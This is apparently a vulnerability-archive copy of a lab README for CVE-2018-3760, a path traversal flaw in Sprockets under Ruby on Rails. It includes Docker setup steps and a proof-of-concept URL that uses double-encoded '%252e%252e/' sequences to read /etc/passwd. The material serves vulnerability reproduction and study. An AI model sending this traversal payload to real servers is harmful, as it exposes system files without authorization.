关联漏洞
标题：
Sprockets 信息泄露漏洞
(CVE-2018-3760)
描述：Sprockets是软件开发者Sam Stephenson和Joshua Peek共同研发的一个Ruby库，它主要用于检查JavaScript文件的相互依赖关系，以及优化网页中引入的JS文件，可避免加载不必要的JS文件，加快网页访问速度。 Sprockets 4.0.0.beta7及之前版本、3.7.1及之前版本和2.12.4及之前版本中存在信息泄露漏洞。攻击者可通过发送特制的请求利用该漏洞访问文件系统上的应用程序root目录之外的文件。
介绍
# Ruby On Rails Path Traversal Vulnerability（CVE-2018-3760）
[中文版本(Chinese version)](README.zh-cn.md)
Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.
Reference links：
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
## Environment setup
Enter the following command：
```
docker-compose up -d
```
Visit `http://your-ip:3000` and you'll see the welcome page.
## POC
It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
```
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```
文件快照
[4.0K] /data/pocs/91c45e65d893df7d7ca15beb69adcfad8fe54ff1
├── [ 22K] 1.png
├── [ 14K] 2.png
├── [ 83] docker-compose.yml
├── [ 52] Dockerfile
├── [ 13] flagA
├── [1.5K] README.md
└── [1.4K] README.zh-cn.md
0 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。